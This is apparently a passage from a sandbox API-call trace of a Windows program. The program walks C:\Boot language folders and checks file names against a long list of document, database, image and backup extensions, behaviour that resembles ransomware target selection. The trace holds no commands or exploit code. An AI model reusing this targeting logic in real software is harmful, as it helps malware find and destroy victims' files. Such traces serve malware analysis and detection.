ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0074.041] lstrlenW (lpString="BCD") returned 3 [0074.041] lstrlenW (lpString=".1cd") returned 4 [0074.041] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0074.041] lstrlenW (lpString=".3ds") returned 4 [0074.041] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0074.041] lstrlenW (lpString=".3fr") returned 4 [0074.041] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0074.041] lstrlenW (lpString=".3g2") returned 4 [0074.041] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0074.041] lstrlenW (lpString=".3gp") returned 4 [0074.042] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".7z") returned 3 [0074.042] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0074.042] lstrlenW (lpString=".accda") returned 6 [0074.042] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".accdb") returned 6 [0074.042] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".accdc") returned 6 [0074.042] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".accde") returned 6 [0074.042] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".accdt") returned 6 [0074.042] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".accdw") returned 6 [0074.042] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".adb") returned 4 [0074.042] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".adp") returned 4 [0074.042] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0074.042] lstrlenW (lpString=".ai") returned 3 [0074.043] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0074.043] lstrlenW (lpString=".ai3") returned 4 [0074.043] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".ai4") returned 4 [0074.043] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".ai5") returned 4 [0074.043] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".ai6") returned 4 [0074.043] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".ai7") returned 4 [0074.043] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".ai8") returned 4 [0074.043] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".anim") returned 5 [0074.043] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".arw") returned 4 [0074.043] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".as") returned 3 [0074.043] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0074.043] lstrlenW (lpString=".asa") returned 4 [0074.043] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0074.043] lstrlenW (lpString=".asc") returned 4 [0074.044] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".ascx") returned 5 [0074.044] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".asm") returned 4 [0074.044] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".asmx") returned 5 [0074.044] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".asp") returned 4 [0074.044] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".aspx") returned 5 [0074.044] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".asr") returned 4 [0074.044] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".asx") returned 4 [0074.044] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".avi") returned 4 [0074.044] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".avs") returned 4 [0074.044] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".backup") returned 7 [0074.044] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".bak") returned 4 [0074.044] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0074.044] lstrlenW (lpString=".bay") returned 4 [0074.045] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0074.045] lstrlenW (lpString=".bd") returned 3 [0074.045] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0074.045] lstrlenW (lpString=".bin") returned 4 [0074.045] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0074.045] lstrlenW (lpString=".bmp") returned 4 [0074.045] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0074.045] lstrlenW (lpString=".bz2") returned 4 [0074.045] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0074.045] lstrlenW (lpString=".c") returned 2 [0074.045] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0074.045] lstrlenW (lpString=".cdr") returned 4 [0074.045] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0074.045] lstrlenW (lpString=".cer") returned 4 [0074.045] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0074.045] lstrlenW (lpString=".cf") returned 3 [0074.046] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0074.046] lstrlenW (lpString=".cfc") returned 4 [0074.046] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".cfm") returned 4 [0074.046] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".cfml") returned 5 [0074.046] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".cfu") returned 4 [0074.046] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".chm") returned 4 [0074.046] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".cin") returned 4 [0074.046] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".class") returned 6 [0074.046] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".clx") returned 4 [0074.046] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".config") returned 7 [0074.046] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".cpp") returned 4 [0074.046] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0074.046] lstrlenW (lpString=".cr2") returned 4 [0074.046] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".crt") returned 4 [0074.047] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".crw") returned 4 [0074.047] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".cs") returned 3 [0074.047] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0074.047] lstrlenW (lpString=".css") returned 4 [0074.047] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".csv") returned 4 [0074.047] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".cub") returned 4 [0074.047] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".dae") returned 4 [0074.047] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".dat") returned 4 [0074.047] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".db") returned 3 [0074.047] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0074.047] lstrlenW (lpString=".dbf") returned 4 [0074.047] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".dbx") returned 4 [0074.047] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".dc3") returned 4 [0074.047] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0074.047] lstrlenW (lpString=".dcm") returned 4 [0074.048] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".dcr") returned 4 [0074.048] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".der") returned 4 [0074.048] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".dib") returned 4 [0074.048] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".dic") returned 4 [0074.048] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".dif") returned 4 [0074.048] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".divx") returned 5 [0074.048] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".djvu") returned 5 [0074.048] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".dng") returned 4 [0074.048] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".doc") returned 4 [0074.048] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".docm") returned 5 [0074.048] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0074.048] lstrlenW (lpString=".docx") returned 5 [0074.049] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dot") returned 4 [0074.049] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dotm") returned 5 [0074.049] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dotx") returned 5 [0074.049] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dpx") returned 4 [0074.049] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dqy") returned 4 [0074.049] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dsn") returned 4 [0074.049] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dt") returned 3 [0074.049] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0074.049] lstrlenW (lpString=".dtd") returned 4 [0074.049] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dwg") returned 4 [0074.049] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dwt") returned 4 [0074.049] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0074.049] lstrlenW (lpString=".dx") returned 3 [0074.050] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0074.050] lstrlenW (lpString=".dxf") returned 4 [0074.050] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".edml") returned 5 [0074.050] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".efd") returned 4 [0074.050] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".elf") returned 4 [0074.050] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".emf") returned 4 [0074.050] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".emz") returned 4 [0074.050] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".epf") returned 4 [0074.050] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".eps") returned 4 [0074.050] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".epsf") returned 5 [0074.050] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0074.050] lstrlenW (lpString=".epsp") returned 5 [0074.050] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0074.051] lstrlenW (lpString=".erf") returned 4 [0074.051] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0074.051] lstrlenW (lpString=".exr") returned 4 [0074.051] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0074.051] lstrlenW (lpString=".f4v") returned 4 [0074.051] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0074.051] lstrlenW (lpString=".fido") returned 5 [0074.051] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0074.051] lstrlenW (lpString=".flm") returned 4 [0074.051] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0074.051] lstrlenW (lpString=".flv") returned 4 [0074.051] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0074.051] lstrlenW (lpString=".frm") returned 4 [0074.051] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0074.051] lstrlenW (lpString=".fxg") returned 4 [0074.051] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0074.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.052] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.052] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.053] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.053] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.054] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0074.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.054] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.055] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.055] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.055] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.055] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0074.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.056] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.057] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.057] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.057] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.058] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0074.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.058] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.058] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.058] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.059] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.059] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.059] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0074.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.059] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.061] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.061] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.061] FindClose (in: hFindFile=0x603128 | out: hFindFile=0x603128) returned 1 [0074.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39420b8 | out: hHeap=0x5b0000) returned 1 [0074.062] FindNextFileW (in: hFindFile=0x603068, lpFindFileData=0x354fa84 | out: lpFindFileData=0x354fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0074.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39420b8 [0074.062] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603128 [0074.063] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.063] FindNextFileW (in: hFindFile=0x603128, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, 